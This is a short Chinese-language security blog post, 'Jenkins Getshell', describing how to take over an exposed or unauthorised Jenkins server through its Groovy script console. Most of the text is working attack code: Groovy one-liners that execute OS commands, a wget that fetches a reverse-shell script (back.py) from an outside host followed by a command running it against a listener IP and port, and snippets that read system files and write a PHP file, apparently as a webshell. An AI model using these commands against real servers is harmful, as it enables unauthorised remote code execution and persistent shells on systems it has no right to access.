MENU

Jenkins Getshell

November 18, 2014 • Security

一、Jenkins未授权访问可执行命令

命令执行的话,是需要有相关用户权限的,具体的位置在下图中:

20160809203154.png

在脚本命令行中输入下面的语句,即可执行相应的命令:

println "ipconfig /all".execute().text

推荐上面的这种方式,比较简洁。。

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

老外的方式,比较正式一点。。

下面的截图是执行后的结果,就像在CMD中执行是一样的效果。

20140603061533157.png

二、Jenkins拿shell方法

1、直接wget下载back.py反弹shell,如下:

println "wget http://www.rinige.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

2、多种方式写shell

Groovy I/O 文件读写
  
读文件
new File("/tmp/back.py").getText();
new File("c:/windows/win.ini").getText();
  
//eachLine -- 打开和读取文件的每一行
new File("/tmp/back.py").eachLine { 
println it;
}
  
//readLines
lineList = new File("/tmp/back.py").readLines();
lineList.each { 
println it.toUpperCase();
}
  
write轻轻松松写文件
new File("/tmp/1.php").write('Hello SecPulse');
  
多行写入
new File("/tmp/1.php").write("""
This is
just a test file
to play with
""");
Archives QR Code
QR Code for this page
Tipping QR Code